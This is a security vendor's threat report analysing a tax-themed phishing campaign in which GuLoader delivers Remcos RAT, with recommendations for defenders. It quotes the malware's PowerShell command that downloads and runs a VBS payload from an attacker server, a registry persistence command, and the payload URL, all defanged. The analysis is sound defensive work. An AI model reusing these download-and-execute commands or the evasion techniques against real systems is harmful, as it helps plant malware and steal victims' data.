GuLoader Targeting the Financial Sector Using a Tax-themed Phishing Lure

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Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as infostealers and Remote Access Trojans (RATs). The loader contains multiple stages of shellcode and is known for being one of the most advanced loaders with numerous anti-analysis techniques.

In March 2022, TRU observed GuLoader targeting the financial sector via the phishing email using a tax-themed lure. The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected ZIP archive (Figure 1).

The ZIP archive contains a decoy image and a shortcut file disguised as a PDF (Figure 2).

The shortcut file leverages PowerShell to retrieve additional payloads from the website. Here is the example of the spawned PowerShell one-liner command:

• “powershell.exe" n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/Blotlg.vbs -OutFile C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile C:\Users\Public\details.pdf; C:\Users\Public\details.pdf

First, the command retrieves the VBS file from the encoded domain that translates to hxxp://109.206.240[.]67/xlog/Blotlg.vbs. The VBS file is saved under C:\Windows\Tasks and Remplice.vbs. Then the decoy PDF file is fetched and saved under the C:\Users\Public folder as details.pdf. The PDF file is then automatically opened to distract the user from the malicious VBS script execution in the background (Figure 4).

The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys and executing the GuLoader payload via PowerShell (Figures 5-6).

The shellcode is written under:

• HKEY_CURRENT_USER\Amuyon\Impressed\Fusentasteris

GuLoader achieves persistence via Registry Run Keys (Figure 7). The registry data is a PowerShell command that retrieves the value of the 'Parlando' property for the registry key located at 'HKCU:\State'.

• %SaltoQ% -w 1 $Returkuverter=(Get-ItemProperty -Path 'HKCU:\State\').Parlando;%SaltoQ% ($Returkuverter)

The “State” registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in memory (Figure 8).

The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9). Upon decoding the script, we can observe that the PowerShell script is responsible for executing two shellcode buffers that are Base64-decoded and converted into a byte array.

The first 647 bytes of the shellcode are responsible for decoding the second part of the shellcode, which is the rest of the shellcode (Figure 10).

The shellcode retrieves the Remcos RAT from the web server (hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe process.

Example of the data extracted from memory which is being sent to Remcos C2 from a sandbox environment:

How did we find it?

• eSentire’s MDR for Endpoint identified execution behavior associated with GuLoader.

What did we do?

• Further infection was prevented by eSentire’s MDR for Endpoint.
• Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions, isolating the infected host on the customer’s behalf and alerting the customer to the malicious activity.

What can you learn from this TRU positive?

• Tax-themed phishing lures are a popular tactic used by cybercriminals during tax season to plant malware and steal sensitive information from unsuspecting victims.
  • These lures typically take the form of fake emails that appear to be from legitimate tax authorities, such as the IRS, and often contain urgent messages about tax refunds or payments. Once the malware is installed, attackers can access the victim's system and data, allowing them to conduct further attacks.
• Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective way to trick users into executing malicious code on the machine. One reason why these attacks can be so effective is that many users are accustomed to receiving and opening PDF files. The attacker (s) can exploit this familiarity to create archives that look like they contain important PDF attachments.
• The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to drop and inject additional malware, such as Remcos RAT, into a legitimate process, making it difficult to detect. Injecting the code into a legitimate process helps the malware evade antivirus software and other security tools.
• Password-protected zip archives can be an efficient way to bypass email filters and antiviruses. By compressing a file into a password-protected archive, the file becomes more difficult for antiviruses and email filters to scan and analyze since they cannot scan the contents of the archive without the correct password.

Recommendations from our Threat Response Unit (TRU) Team:

• Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes. Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.
• Protect endpoints against malware by:
  • Ensuring antivirus signatures are up-to-date.
  • Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.

Indicators of Compromise

eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.

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